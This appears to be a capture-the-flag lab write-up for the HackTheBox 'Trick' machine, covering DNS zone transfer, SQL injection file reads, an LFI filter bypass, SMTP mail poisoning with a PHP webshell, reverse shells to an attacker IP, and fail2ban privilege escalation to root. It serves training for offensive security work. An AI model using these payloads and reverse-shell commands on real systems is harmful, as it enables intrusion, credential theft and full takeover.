All writeups
HackTheBox: Trick avatar
MACHINE Linux HackTheBox 2/5

HackTheBox: Trick

2026-06-04 10 min read
Tracks CPTS

Introduction

Trick is an Easy-rated Linux machine on HackTheBox. The attack chain is:

  • Recon turns up SSH, SMTP, DNS and nginx, and an open DNS port (53/tcp) invites a zone transfer
  • The zone transfer leaks the preprod-payroll.trick.htb vhost; SMTP VRFY confirms the user michael
  • A boolean/error-based SQL injection in the payroll login, backed by a DB user with the FILE privilege, reads arbitrary files, including the nginx config that reveals a second vhost, preprod-marketing.trick.htb
  • That vhost has a ....// LFI filter bypass
  • Combining the LFI with SMTP mail poisoning writes a PHP webshell into michael’s mail spool and executes it, giving RCE as michael
  • michael is in the security group, which has write access to /etc/fail2ban/action.d/, plus passwordless sudo to restart fail2ban, abusing the actionban hook yields a root shell

Note: The box resets its fail2ban configs periodically, once you start the privilege escalation, run the whole chain quickly in one sequence.


Enumeration

Nmap

Full TCP port scan with service/version detection:

sudo nmap -sC -sV -vv --min-rate 5000 -oN TrickTCP.txt 10.129.168.128

Breaking down every flag for beginners:

FlagWhat it does
-sCRun nmap’s default NSE scripts (banner grabs, SMB/HTTP info, etc.)
-sVDetect the service and version behind each open port
-vvVery verbose, print results as they arrive
--min-rate 5000Send at least 5000 packets/sec to speed the scan up
-oN TrickTCP.txtSave normal-format output to a file, always keep your scans

Open ports:

PortServiceVersion
22SSHOpenSSH 7.9p1 Debian
25SMTPPostfix
53DNSISC BIND 9.11.5
80HTTPnginx 1.14.2

Port 80 serves a static “Coming Soon” page. The interesting one is TCP 53, an open DNS port on a host that also serves its own zone is a strong hint that a zone transfer (AXFR) might be allowed.

Beginner tip: DNS normally answers on UDP 53. Seeing TCP 53 open is a tell, TCP is used for zone transfers and oversized responses, so it’s always worth testing dig axfr when you find it.


DNS Enumeration

Reverse Lookup

Ask the box what hostname it knows itself by:

dig @10.129.168.128 -x 10.129.168.128

This returns trick.htb. Add it to your hosts file so the name resolves:

echo "10.129.168.128 trick.htb" | sudo tee -a /etc/hosts

Zone Transfer

A zone transfer asks the DNS server to hand over its entire zone in one go, every record it knows. It should be restricted to secondary name servers, but is often left open:

dig axfr trick.htb @10.129.168.128

Output:

trick.htb.                604800  IN  SOA   trick.htb. root.trick.htb.
trick.htb.                604800  IN  NS    trick.htb.
trick.htb.                604800  IN  A     127.0.0.1
preprod-payroll.trick.htb 604800  IN  CNAME trick.htb.

The transfer succeeds and leaks a new subdomain: preprod-payroll.trick.htb.

Note: root.trick.htb in the SOA record is just the zone admin’s email (root@trick.htb) written in DNS notation, the first dot stands in for the @. Not directly exploitable, but good to recognise.

Subdomain Fuzzing

The preprod- prefix looks like a naming convention, so fuzz for more vhosts that follow it:

ffuf -u http://trick.htb -H "Host: preprod-FUZZ.trick.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs 5480

Breaking down the flags:

FlagWhat it does
-uTarget URL (we always hit trick.htb, only the Host header changes)
-H "Host: preprod-FUZZ.trick.htb"Inject the wordlist into the Host header, virtual-host fuzzing
-wWordlist of candidate subdomain names
-fs 5480Filter out responses of size 5480 (the default page) so only real vhosts show

This naming pattern pays off later, reading the nginx config via SQLi confirms the second vhost preprod-marketing.trick.htb. Add both to /etc/hosts:

echo "10.129.168.128 preprod-payroll.trick.htb preprod-marketing.trick.htb" | sudo tee -a /etc/hosts

SMTP Enumeration

Manual Banner Grab

Connect to the mail service by hand and probe for valid users with VRFY:

nc trick.htb 25
220 debian.localdomain ESMTP Postfix (Debian/GNU)
EHLO trick.htb
250-VRFY
...
VRFY root
252 2.0.0 root
VRFY michael
252 2.0.0 michael

VRFY is enabled, and the server confirms both root and michael as valid local users.

Beginner tip: SMTP VRFY asks the server “does this mailbox exist?” A 252 (or 250) response means yes. It’s a classic username-enumeration primitive and should be disabled in production.

Automated User Enumeration

smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -t 10.129.168.128 -p 25

Breaking down the flags:

FlagWhat it does
-M VRFYUse the VRFY method to test each name
-UWordlist of usernames to try
-tTarget host
-p 25SMTP port

This confirms root, michael and the usual service accounts. michael is the one that matters, he becomes our foothold user.

Key insight: SMTP here isn’t only an enumeration surface. Because mail for michael lands in a file we can later include() via LFI, port 25 is also the write primitive for our RCE.


Web Enumeration

trick.htb

The root site is a static “Coming Soon” page. Content discovery turns up nothing useful:

ffuf -u http://trick.htb/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -e .php,.html,.txt

preprod-payroll.trick.htb

This vhost serves a login panel, an Employee’s Payroll Management System. That login is our way in.


SQL Injection

Manual Authentication Bypass

The login is vulnerable to a classic boolean SQLi. Supplying this as the username logs straight in:

' or 1=1-- -

Beginner tip: ' or 1=1-- - closes the username string, adds an always-true condition so the WHERE clause matches every row, then comments out the rest of the query (the trailing -- - is a SQL comment). The app logs you in as the first user returned.

sqlmap Enumeration

Confirm and weaponise the injection with sqlmap against the login endpoint:

sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" \
  --data="username=abc&password=abc" -p username \
  --level 5 --risk 3 --technique=BEUS --batch

Breaking down the flags:

FlagWhat it does
-uThe injectable URL
--dataPOST body, this is a form login
-p usernamePin testing to the username parameter
--level 5 --risk 3Maximum test breadth and payload aggressiveness
--technique=BEUSBoolean, Error, Union and Stacked techniques
--batchTake default answers, no prompts

It confirms boolean- and error-based injection. Now check what the DB user can do:

sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" \
  --data="username=abc&password=abc" -p username --privileges

The DB account remo@localhost holds the FILE privilege, meaning we can read files off the server’s filesystem through the injection.

File Read via SQLi

Read /etc/passwd to enumerate local users:

sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" \
  --data="username=abc&password=abc" -p username \
  --batch --file-read=/etc/passwd

This confirms michael is a real system user. Next, read the nginx config to discover other vhosts:

sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" \
  --data="username=abc&password=abc" -p username \
  --batch --file-read=/etc/nginx/sites-enabled/default

The config reveals preprod-marketing.trick.htb, with its webroot at /var/www/market.

Beginner tip: The MySQL FILE privilege turns a SQL injection into an arbitrary file read (LOAD_FILE) and sometimes a write (INTO OUTFILE). Reading server config files is one of the fastest ways to pivot, they leak paths, other vhosts and credentials.


Local File Inclusion (LFI)

preprod-marketing.trick.htb

Browsing the marketing site, the navigation loads pages through a page parameter:

http://preprod-marketing.trick.htb/index.php?page=services.html

A parameter that names a file and gets passed to include() is a textbook LFI candidate.

Filter Bypass

A naive ../ traversal is blocked, the app runs str_replace("../", "", ...) to strip traversal sequences. The bypass is ....//: when the filter removes the ../ in the middle, the characters on either side collapse back into a clean ../:

....//   →   str_replace("../","")   →   ../

Because the replace runs only once and isn’t applied recursively, the reconstructed ../ survives.

PoC, read /etc/passwd:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd

Foothold — Mail Poisoning to RCE

We have two primitives that combine neatly: an LFI that will include() any file we name, and SMTP access to write into michael’s mailbox at /var/mail/michael. Postfix appends incoming mail to that file verbatim, so if we mail PHP to michael and then include the spool, PHP executes it.

Step 1, inject a PHP webshell over SMTP:

nc trick.htb 25
HELO x
mail from: woodenk
rcpt to: michael
data
<?php system($_GET['cmd']); ?>
.

The lone . on its own line ends the message body.

Step 2, start a listener on your attack box:

nc -lvnp 1337

Step 3, trigger the shell by including the poisoned spool through the LFI:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//var/mail/michael&cmd=nc%2010.10.16.18%201337%20-e%20/bin/sh

If this build of nc doesn’t support -e, use a bash reverse shell instead:

cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/10.10.16.18/1337%200>%261'

The shell lands as michael.

Beginner tip: Anything that lets you both write attacker-controlled bytes to a file and include that file as PHP is RCE. Log files (/var/log/...) and mail spools (/var/mail/...) are the usual poisoning targets, here SMTP is the write side and the LFI is the execute side.

Stabilising Access (SSH)

A reverse shell is fragile. michael has an SSH private key, grab it for a stable session:

cat ~/.ssh/id_rsa

Copy the key to your box, lock down its permissions and log in:

chmod 600 michael.key
ssh -i michael.key michael@10.129.168.128

User Flag

cat ~/user.txt

User flag captured.


Privilege Escalation — fail2ban

Enumeration

id
# uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)

sudo -l
# (root) NOPASSWD: /etc/init.d/fail2ban restart

ls -la /etc/fail2ban/action.d/
# drwxrwx--- 2 root security  4096 action.d

Three conditions line up:

  1. michael is in the security group
  2. That group has rwx on /etc/fail2ban/action.d/
  3. He can restart fail2ban as root with no password

The Exploit Chain

fail2ban watches logs for failed logins and, when a host trips the limit, runs the actionban command from its action config as root to firewall the offender. Since we can edit the action files, we replace the ban command with our own payload, restart the service, then deliberately trip a ban to fire it.

Step 1, take ownership of the iptables action file:

cd /etc/fail2ban/action.d
mv iptables-multiport.conf iptables-multiport.conf.old
cp iptables-multiport.conf.old iptables-multiport.conf
# the copy is now owned by michael, so we can edit it

Step 2, point actionban at our script:

sed -i 's|actionban = .*|actionban = /tmp/shell.sh|' iptables-multiport.conf
grep actionban iptables-multiport.conf
# actionban = /tmp/shell.sh

Step 3, write the reverse-shell payload:

echo '#!/bin/bash' > /tmp/shell.sh
echo 'bash -i >& /dev/tcp/10.10.16.18/1337 0>&1' >> /tmp/shell.sh
chmod +x /tmp/shell.sh

Step 4, reload fail2ban so it picks up the new action (as root, passwordless):

sudo /etc/init.d/fail2ban restart

Step 5, start a listener on your attack box:

nc -lvnp 1337

Step 6, trip a ban by spamming bad SSH logins:

for i in {1..10}; do
  sshpass -p 'wrong' ssh -o StrictHostKeyChecking=no \
    -o PreferredAuthentications=password \
    -o PubkeyAuthentication=no michael@trick.htb 2>/dev/null
done

Once fail2ban sees enough failures inside its findtime window it runs actionban, i.e. our script, as root, and the listener catches a root shell.

Alternative — SUID bash

Instead of a callback, set the SUID bit on bash so any user can spawn a root shell on demand:

sed -i 's|actionban = .*|actionban = chmod +s /bin/bash|' iptables-multiport.conf
sudo /etc/init.d/fail2ban restart
# ...trip a ban as above...
/bin/bash -p
whoami   # root

Beginner tip: bash -p keeps the elevated (effective) UID instead of dropping it, so an SUID-root /bin/bash gives an interactive root shell. It’s a clean, reusable alternative to a one-shot reverse shell.


Root Flag

cat /root/root.txt

Root flag captured.


Summary

StepTechnique
ReconNmap full TCP port + service scan
DNSZone transfer (AXFR) → preprod-payroll.trick.htb
SMTPVRFY user enumeration → michael
SQLiBoolean/error-based → FILE privilege → read nginx config
LFI....// str_replace filter bypass on preprod-marketing
FootholdSMTP mail poisoning + LFI → RCE as michael
PrivEscWritable fail2ban actionban + sudo restart → root

Key Takeaways

  • DNS zone transfers are always worth trying when 53/tcp is open, here a single dig axfr dumped the whole zone and handed us the first preprod vhost.
  • The MySQL FILE privilege upgrades a SQL injection into arbitrary file read; pulling the nginx config is what exposed the second vhost.
  • ....// defeats naive ../ filtering, a single, non-recursive str_replace("../","") reconstructs the very sequence it removed.
  • Mail poisoning is a creative LFI-to-RCE path: SMTP writes attacker-controlled PHP into a mail spool, and the LFI executes it.
  • fail2ban privesc needs three things together: group write on action.d, a way to run the ban action as root, and the ability to trigger a ban. All three were present, so a poisoned actionban ran as root.
  • The box periodically resets its fail2ban configs, run the privilege-escalation chain quickly, start to finish, in one go.